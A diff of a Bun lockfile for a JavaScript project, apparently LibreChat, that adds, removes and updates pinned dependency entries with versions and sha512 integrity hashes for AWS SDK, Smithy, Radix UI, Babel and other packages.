+    "zod-to-json-schema": ["zod-to-json-schema@3.25.1", "", { "peerDependencies": { "zod": "^3.25 || ^4" } }, "sha512-pM/SU9d3YAggzi6MtR4h7ruuQlqKtad8e9S0fmxcMi+ueAK5Korys/aWcV9LIIHTVbj01NdzxcnXSN+O74ZIVA=="],
 
     "zwitch": ["zwitch@2.0.4", "", {}, "sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A=="],
 
@@ -4735,6 +5027,12 @@
 
     "@aws-sdk/client-bedrock-agent-runtime/@smithy/core": ["@smithy/core@3.17.2", "", { "dependencies": { "@smithy/middleware-serde": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-stream": "^4.5.5", "@smithy/util-utf8": "^4.2.0", "@smithy/uuid": "^1.1.0", "tslib": "^2.6.2" } }, "sha512-n3g4Nl1Te+qGPDbNFAYf+smkRVB+JhFsGy9uJXXZQEufoP4u0r+WLh6KvTDolCswaagysDc/afS1yvb2jnj1gQ=="],
 
+    "@aws-sdk/client-bedrock-agent-runtime/@smithy/eventstream-serde-browser": ["@smithy/eventstream-serde-browser@4.2.4", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-d5T7ZS3J/r8P/PDjgmCcutmNxnSRvPH1U6iHeXjzI50sMr78GLmFcrczLw33Ap92oEKqa4CLrkAPeSSOqvGdUA=="],
+
+    "@aws-sdk/client-bedrock-agent-runtime/@smithy/eventstream-serde-config-resolver": ["@smithy/eventstream-serde-config-resolver@4.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-lxfDT0UuSc1HqltOGsTEAlZ6H29gpfDSdEPTapD5G63RbnYToZ+ezjzdonCCH90j5tRRCw3aLXVbiZaBW3VRVg=="],
+
+    "@aws-sdk/client-bedrock-agent-runtime/@smithy/eventstream-serde-node": ["@smithy/eventstream-serde-node@4.2.4", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-TPhiGByWnYyzcpU/K3pO5V7QgtXYpE0NaJPEZBCa1Y5jlw5SjqzMSbFiLb+ZkJhqoQc0ImGyVINqnq1ze0ZRcQ=="],
+
     "@aws-sdk/client-bedrock-agent-runtime/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.5", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-mg83SM3FLI8Sa2ooTJbsh5MFfyMTyNRwxqpKHmE0ICRIa66Aodv80DMsTQI02xBLVJ0hckwqTRr5IGAbbWuFLQ=="],
 
     "@aws-sdk/client-bedrock-agent-runtime/@smithy/hash-node": ["@smithy/hash-node@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kKU0gVhx/ppVMntvUOZE7WRMFW86HuaxLwvqileBEjL7PoILI8/djoILw3gPQloGVE6O0oOzqafxeNi2KbnUJw=="],
@@ -4755,8 +5053,12 @@
 
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@@ -4971,8 +5197,12 @@
 
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+    "@aws-sdk/client-kendra/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
+
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+
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@@ -4987,11 +5217,13 @@
 
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@@ -5135,7 +5367,7 @@
 
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@@ -5165,33 +5397,23 @@
 
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@@ -5415,8 +5569,6 @@
 
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     "@radix-ui/react-dropdown-menu/@radix-ui/primitive": ["@radix-ui/primitive@1.1.0", "", {}, "sha512-4Z8dn6Upk0qk4P74xBhZ6Hd/w0mPEzOOLxy4xiPXOXqjF7jZS0VAKk7/x/H6FyY2zCkYJqePf1G5KmkmNJ4RBA=="],
 
@@ -5521,6 +5733,12 @@
 
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+    "@radix-ui/react-focus-scope/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-0KaSv6sx787/hK3eF53iOkiSLwAGlFMx5lotrqD2pTjB18KbybKoEIgkNZTKC60YECDQTKGTRcDBILwZVqVKvA=="],
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@@ -5567,8 +5785,6 @@
 
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-
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@@ -5591,8 +5807,6 @@
 
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@@ -5603,6 +5817,8 @@
 
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+    "@radix-ui/react-portal/@radix-ui/react-primitive": ["@radix-ui/react-primitive@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-slot": "1.0.1" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-fHbmislWVkZaIdeF6GZxF0A/NH/3BjrGIYj+Ae6eTmTCr7EB0RQAAVEiqsXK6p3/JcRqVSBQoceZroj30Jj3XA=="],
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@@ -5621,10 +5837,16 @@
 
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@@ -5669,6 +5891,8 @@
 
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+    "@radix-ui/react-use-escape-keydown/@radix-ui/react-use-callback-ref": ["@radix-ui/react-use-callback-ref@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-GZtyzoHz95Rhs6S63D2t/eqvdFCm7I+yHMLVQheKM7nBD8mbZIt+ct1jz4536MDnaOGKIxynJ8eHTkVGVVkoTg=="],
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@@ -5681,45 +5905,21 @@
 
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+    "@smithy/util-defaults-mode-node/@smithy/credential-provider-imds": ["@smithy/credential-provider-imds@4.2.11", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.11", "@smithy/property-provider": "^4.2.11", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.11", "tslib": "^2.6.2" } }, "sha512-lBXrS6ku0kTj3xLmsJW0WwqWbGQ6ueooYyp/1L9lkyT0M02C+DWwYwc5aTyXFbRaK38ojALxNixg+LxKSHZc0g=="],
 
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-
-    "@smithy/util-defaults-mode-node/@smithy/credential-provider-imds": ["@smithy/credential-provider-imds@4.0.1", "", { "dependencies": { "@smithy/node-config-provider": "^4.0.1", "@smithy/property-provider": "^4.0.1", "@smithy/types": "^4.1.0", "@smithy/url-parser": "^4.0.1", "tslib": "^2.6.2" } }, "sha512-l/qdInaDq1Zpznpmev/+52QomsJNZ3JkTl5yrTl02V6NBgJOQ4LY0SFw/8zsMwj3tLe8vqiIuwF6nxaEwgf6mg=="],
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-    "@smithy/util-defaults-mode-node/@smithy/property-provider": ["@smithy/property-provider@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-o+VRiwC2cgmk/WFV0jaETGOtX16VNPp2bSQEzu0whbReqE1BMqsP2ami2Vi3cbGVdKu1kq9gQkDAGKbt0WOHAQ=="],
-
-    "@smithy/util-stream/@smithy/node-http-handler": ["@smithy/node-http-handler@4.0.3", "", { "dependencies": { "@smithy/abort-controller": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dYCLeINNbYdvmMLtW0VdhW1biXt+PPCGazzT5ZjKw46mOtdgToQEwjqZSS9/EN8+tNs/RO0cEWG044+YZs97aA=="],
-
-    "@smithy/util-waiter/@smithy/abort-controller": ["@smithy/abort-controller@4.0.4", "", { "dependencies": { "@smithy/types": "^4.3.1", "tslib": "^2.6.2" } }, "sha512-gJnEjZMvigPDQWHrW3oPrFhQtkrgqBkyjj3pCIdF3A5M6vsZODG93KNlfJprv6bp4245bdT32fsHK4kkH3KYDA=="],
+    "@smithy/util-defaults-mode-node/@smithy/property-provider": ["@smithy/property-provider@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-14T1V64o6/ndyrnl1ze1ZhyLzIeYNN47oF/QU6P5m82AEtyOkMJTb0gO1dPubYjyyKuPD6OSVMPDKe+zioOnCg=="],
 
     "@surma/rollup-plugin-off-main-thread/magic-string": ["magic-string@0.25.9", "", { "dependencies": { "sourcemap-codec": "^1.4.8" } }, "sha512-RmF0AsMzgt25qzqqLc1+MbHmhdx0ojF2Fvs4XnOqz2ZOBXzzkEwc/dJQZCYHAn7v1jbVOjAZfK8msRn4BxO4VQ=="],
 
@@ -5737,12 +5937,22 @@
 
     "@types/winston/winston": ["winston@3.11.0", "", { "dependencies": { "@colors/colors": "^1.6.0", "@dabh/diagnostics": "^2.0.2", "async": "^3.2.3", "is-stream": "^2.0.0", "logform": "^2.4.0", "one-time": "^1.0.0", "readable-stream": "^3.4.0", "safe-stable-stringify": "^2.3.1", "stack-trace": "0.0.x", "triple-beam": "^1.3.0", "winston-transport": "^4.5.0" } }, "sha512-L3yR6/MzZAOl0DsysUXHVjOwv8mKZ71TrA/41EIduGpOOV5LQVodqN+QdQ6BS6PJ/RdIshZhq84P/fStEZkk7g=="],
 
+    "@types/ws/@types/node": ["@types/node@20.19.37", "", { "dependencies": { "undici-types": "~6.21.0" } }, "sha512-8kzdPJ3FsNsVIurqBs7oodNnCEVbni9yUEkaHbgptDACOPW04jimGagZ51E6+lXUwJjgnBw+hyko/lkFWCldqw=="],
+
+    "@typescript-eslint/parser/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
+    "@typescript-eslint/type-utils/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
+    "@typescript-eslint/typescript-estree/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
     "@typescript-eslint/typescript-estree/minimatch": ["minimatch@9.0.5", "", { "dependencies": { "brace-expansion": "^2.0.1" } }, "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow=="],
 
     "@typescript-eslint/typescript-estree/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="],
 
     "@typescript-eslint/visitor-keys/eslint-visitor-keys": ["eslint-visitor-keys@4.2.0", "", {}, "sha512-UyLnSehNt62FFhSwjZlHmeokpRK59rcz29j+F1/aDgbkbRTk7wIc9XzdoasMUbRNKDM0qQt/+BJ4BrpFeABemw=="],
 
+    "@vitejs/plugin-react/@babel/core": ["@babel/core@7.29.0", "", { "dependencies": { "@babel/code-frame": "^7.29.0", "@babel/generator": "^7.29.0", "@babel/helper-compilation-targets": "^7.28.6", "@babel/helper-module-transforms": "^7.28.6", "@babel/helpers": "^7.28.6", "@babel/parser": "^7.29.0", "@babel/template": "^7.28.6", "@babel/traverse": "^7.29.0", "@babel/types": "^7.29.0", "@jridgewell/remapping": "^2.3.5", "convert-source-map": "^2.0.0", "debug": "^4.1.0", "gensync": "^1.0.0-beta.2", "json5": "^2.2.3", "semver": "^6.3.1" } }, "sha512-CGOfOJqWjg2qW/Mb6zNsDm+u5vFQ8DxXfbM09z69p5Z6+mE1ikP2jUXw+j42Pf1XTYED2Rni5f95npYeuwMDQA=="],
+
     "accepts/negotiator": ["negotiator@1.0.0", "", {}, "sha512-8Ofs/AUQh8MaEcrlq5xOX0CQ9ypTF5dl78mjlMNfOK08fzpgTHQRQPBxcPlEtIw0yRpws+Zo/3r+5WRby7u3Gg=="],
 
     "ajv-formats/ajv": ["ajv@8.17.1", "", { "dependencies": { "fast-deep-equal": "^3.1.3", "fast-uri": "^3.0.1", "json-schema-traverse": "^1.0.0", "require-from-string": "^2.0.2" } }, "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g=="],
@@ -5751,10 +5961,18 @@
 
     "asn1.js/bn.js": ["bn.js@4.12.2", "", {}, "sha512-n4DSx829VRTRByMRGdjQ9iqsN0Bh4OolPsFnaZBLcbi8iXcB+kJ9s7EnRt4wILZNV3kPLHkRVfOc/HvhC3ovDw=="],
 
+    "autoprefixer/fraction.js": ["fraction.js@4.3.7", "", {}, "sha512-ZsDfxO51wGAXREY55a7la9LScWpwv9RxIrYABrlvOFBlH/ShPnrtsXeuUIfXKKOVicNxQ+o8JTbJvjS4M89yew=="],
+
     "babel-jest/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
 
     "babel-plugin-root-import/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
 
+    "body-parser/iconv-lite": ["iconv-lite@0.7.2", "", { "dependencies": { "safer-buffer": ">= 2.1.2 < 3.0.0" } }, "sha512-im9DjEDQ55s9fL4EYzOAv0yMqmMBSZp6G0VvFyTMPKWxiSBHUj9NW/qqLmXUwXrrM7AvqSlTCfvqRb0cM8yYqw=="],
+
+    "body-parser/qs": ["qs@6.15.0", "", { "dependencies": { "side-channel": "^1.1.0" } }, "sha512-mAZTtNCeetKMH+pSjrb76NAM8V9a05I9aBZOHztWy/UqcJdQYNsf59vrRKWnojAT9Y+GbIvoTBC++CPHqpDBhQ=="],
+
+    "body-parser/raw-body": ["raw-body@3.0.2", "", { "dependencies": { "bytes": "~3.1.2", "http-errors": "~2.0.1", "iconv-lite": "~0.7.0", "unpipe": "~1.0.0" } }, "sha512-K5zQjDllxWkf7Z5xJdV0/B0WTNqx6vxG70zJE4N0kBs4LovmEYWJzQGxC9bS9RAKu3bgM40lrd5zoLJ12MQ5BA=="],
+
     "browser-resolve/resolve": ["resolve@1.22.8", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw=="],
 
     "browserify-rsa/bn.js": ["bn.js@5.2.2", "", {}, "sha512-v2YAxEmKaBLahNwE1mjp4WON6huMNeuDvagFZW+ASCuA/ku0bXR9hSMw0XpiqMoA3+rmnyck/tPRSFQkoC9Cuw=="],
@@ -5769,6 +5987,8 @@
 
     "chalk/supports-color": ["supports-color@7.2.0", "", { "dependencies": { "has-flag": "^4.0.0" } }, "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw=="],
 
+    "cheerio/undici": ["undici@7.16.0", "", {}, "sha512-QEg3HPMll0o3t2ourKwOeUAZ159Kn9mx5pnzHRQO8+Wixmh88YdZRiIwat0iNzNNXn0yoEtXJqFpyW7eM8BV7g=="],
+
     "chokidar/glob-parent": ["glob-parent@5.1.2", "", { "dependencies": { "is-glob": "^4.0.1" } }, "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow=="],
 
     "cli-truncate/string-width": ["string-width@7.2.0", "", { "dependencies": { "emoji-regex": "^10.3.0", "get-east-asian-width": "^1.0.0", "strip-ansi": "^7.1.0" } }, "sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ=="],
@@ -5783,32 +6003,66 @@
 
     "cookie-parser/cookie-signature": ["cookie-signature@1.0.6", "", {}, "sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ=="],
 
+    "core-js-compat/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
+
     "create-ecdh/bn.js": ["bn.js@4.12.2", "", {}, "sha512-n4DSx829VRTRByMRGdjQ9iqsN0Bh4OolPsFnaZBLcbi8iXcB+kJ9s7EnRt4wILZNV3kPLHkRVfOc/HvhC3ovDw=="],
 
+    "css-blank-pseudo/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
+
+    "css-has-pseudo/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
+
     "cssnano/lilconfig": ["lilconfig@2.1.0", "", {}, "sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ=="],
 
     "cssnano/yaml": ["yaml@1.10.2", "", {}, "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg=="],
 
+    "cytoscape-fcose/cose-base": ["cose-base@2.2.0", "", { "dependencies": { "layout-base": "^2.0.0" } }, "sha512-AzlgcsCbUMymkADOJtQm3wO9S3ltPfYOFD5033keQn9NJzIbtnZj+UdBJe7DYml/8TdbtHJW3j58SOnKhWY/5g=="],
+
+    "d3-dsv/commander": ["commander@7.2.0", "", {}, "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw=="],
+
+    "d3-sankey/d3-array": ["d3-array@2.12.1", "", { "dependencies": { "internmap": "^1.0.0" } }, "sha512-B0ErZK/66mHtEsR1TkPEEkwdy+WDesimkM5gpZr5Dsg54BiTA5RXtYW5qTLIAcekaS9xfZrzBLF/OAkB3Qn1YQ=="],
+
+    "d3-sankey/d3-shape": ["d3-shape@1.3.7", "", { "dependencies": { "d3-path": "1" } }, "sha512-EUkvKjqPFUAZyOlhY5gzCxCeI0Aep04LwIRpsZ/mLFelJiUfnK56jo5JMDSE7yyP2kLSb6LtF+S5chMk7uqPqw=="],
+
     "data-urls/whatwg-url": ["whatwg-url@14.2.0", "", { "dependencies": { "tr46": "^5.1.0", "webidl-conversions": "^7.0.0" } }, "sha512-De72GdQZzNTUBBChsXueQUnPKDkg/5A5zp7pFDuQAj5UFoENpiACU0wlCvzpAGnTkj++ihpKwKyYewn/XNUbKw=="],
 
     "diffie-hellman/bn.js": ["bn.js@4.12.2", "", {}, "sha512-n4DSx829VRTRByMRGdjQ9iqsN0Bh4OolPsFnaZBLcbi8iXcB+kJ9s7EnRt4wILZNV3kPLHkRVfOc/HvhC3ovDw=="],
 
-    "domexception/webidl-conversions": ["webidl-conversions@7.0.0", "", {}, "sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g=="],
+    "dom-serializer/entities": ["entities@4.5.0", "", {}, "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw=="],
 
     "error-ex/is-arrayish": ["is-arrayish@0.2.1", "", {}, "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg=="],
 
+    "eslint/@eslint/eslintrc": ["@eslint/eslintrc@3.3.1", "", { "dependencies": { "ajv": "^6.12.4", "debug": "^4.3.2", "espree": "^10.0.1", "globals": "^14.0.0", "ignore": "^5.2.0", "import-fresh": "^3.2.1", "js-yaml": "^4.1.0", "minimatch": "^3.1.2", "strip-json-comments": "^3.1.1" } }, "sha512-gtF186CXhIl1p4pJNGZw8Yc6RlshoePRvE0X91oPGb3vZ8pM3qOS9W9NGPat9LziaBV7XrJWGylNQXkGcnM3IQ=="],
+
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+
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     "expect/jest-message-util": ["jest-message-util@29.7.0", "", { "dependencies": { "@babel/code-frame": "^7.12.13", "@jest/types": "^29.6.3", "@types/stack-utils": "^2.0.0", "chalk": "^4.0.0", "graceful-fs": "^4.2.9", "micromatch": "^4.0.4", "pretty-format": "^29.7.0", "slash": "^3.0.0", "stack-utils": "^2.0.3" } }, "sha512-GBEV4GRADeP+qtB2+6u61stea8mGcOT4mCtrYISZwfu9/ISHFJ/5zOMXYbpBE9RsS5+Gb63DW4FgmnKJ79Kf6w=="],
 
+    "expect/jest-util": ["jest-util@29.7.0", "", { "dependencies": { "@jest/types": "^29.6.3", "@types/node": "*", "chalk": "^4.0.0", "ci-info": "^3.2.0", "graceful-fs": "^4.2.9", "picomatch": "^2.2.3" } }, "sha512-z6EbKajIpqGKU56y5KBUgy1dt1ihhQJgWzUlZHArA/+X2ad7Cb5iF+AK1EWVL/Bo7Rz9uurpqw6SiBCefUbCGA=="],
+
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@@ -5819,25 +6073,25 @@
 
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+
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+    "gcp-metadata/gaxios": ["gaxios@5.1.3", "", { "dependencies": { "extend": "^3.0.2", "https-proxy-agent": "^5.0.0", "is-stream": "^2.0.0", "node-fetch": "^2.6.9" } }, "sha512-95hVgBRgEIRQQQHIbnxBXeHbW4TqFk4ZDJW7wmVtvYar72FdhRIo1UGOLS2eRAKCPEdPBWu+M7+A33D9CdX9rA=="],
 
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-
-    "gtoken/gaxios": ["gaxios@6.2.0", "", { "dependencies": { "extend": "^3.0.2", "https-proxy-agent": "^7.0.1", "is-stream": "^2.0.0", "node-fetch": "^2.6.9" } }, "sha512-H6+bHeoEAU5D6XNc6mPKeN5dLZqEDs9Gpk6I+SZBEzK5So58JVrHPmevNi35fRl1J9Y5TaeLW0kYx3pCJ1U2mQ=="],
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@@ -5871,10 +6125,16 @@
 
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+    "http-proxy-agent/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
+    "https-proxy-agent/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
     "import-from/resolve-from": ["resolve-from@5.0.0", "", {}, "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw=="],
 
     "import-in-the-middle/cjs-module-lexer": ["cjs-module-lexer@1.2.3", "", {}, "sha512-0TNiGstbQmCFwt4akjjBg5pLRTSyj/PkWQ1ZoO2zntmg9yLqSRxwEa4iCfQLGjqhiqBfOJa7W/E8wfGrTDmlZQ=="],
 
+    "ioredis/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
     "is-bun-module/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="],
 
     "istanbul-lib-instrument/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="],
@@ -5885,44 +6145,30 @@
 
     "istanbul-lib-source-maps/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
 
+    "istanbul-lib-source-maps/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
+    "jake/minimatch": ["minimatch@3.1.2", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw=="],
+
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     "katex/commander": ["commander@8.3.0", "", {}, "sha512-OkTL9umf+He2DZkUq8f8J9of7yL6RJKI24dVITBmNfZBmri9zYZQrKkuXiKhyfPSu8tUhnVBB1iKXevvnlR4Ww=="],
 
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-    "librechat-data-provider/@babel/preset-typescript": ["@babel/preset-typescript@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/plugin-transform-modules-commonjs": "^7.27.1", "@babel/plugin-transform-typescript": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-+bQy5WOI2V6LJZpPVxY+yp66XdZ2yifu0Mc1aP5CQKgjn4QM5IN2i5fAZ4xKop47pr8rpVhiAeu+nDQa12C8+g=="],
+    "librechat-data-provider/@types/node": ["@types/node@20.19.37", "", { "dependencies": { "undici-types": "~6.21.0" } }, "sha512-8kzdPJ3FsNsVIurqBs7oodNnCEVbni9yUEkaHbgptDACOPW04jimGagZ51E6+lXUwJjgnBw+hyko/lkFWCldqw=="],
 
     "lint-staged/chalk": ["chalk@5.4.1", "", {}, "sha512-zgVZuo2WcZgfUEmsn6eO3kINexW8RAE4maiQ8QNs8CtpPCSyMiYsULR3HQYkm3w8FIA3SberyMJMSldGsW+U3w=="],
 
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     "log-update/ansi-escapes": ["ansi-escapes@7.0.0", "", { "dependencies": { "environment": "^1.0.0" } }, "sha512-GdYO7a61mR0fOlAsvC9/rIHf7L96sBc6dEWzeOu+KAea5bZyQRPIpojrVoI4AXGJS/ycu/fBTdLrUkA4ODrvjw=="],
 
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@@ -6027,30 +6251,50 @@
 
     "lru-memoizer/lru-cache": ["lru-cache@6.0.0", "", { "dependencies": { "yallist": "^4.0.0" } }, "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA=="],
 
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-
     "mdast-util-find-and-replace/escape-string-regexp": ["escape-string-regexp@5.0.0", "", {}, "sha512-/veY75JbMK4j1yjvuUxuVsiS/hr/4iHs9FTT6cgTexxdE0Ly/glccBAkloH/DofkjRbZU3bnoj38mOmhkZ0lHw=="],
 
     "mdast-util-math/unist-util-remove-position": ["unist-util-remove-position@5.0.0", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-visit": "^5.0.0" } }, "sha512-Hp5Kh3wLxv0PHj9m2yZhhLt58KzPtEYKQQ4yxfYFEO7EvHwzyDYnduhHnY1mDxoqr7VUwVuHXk9RXKIiYS1N8Q=="],
 
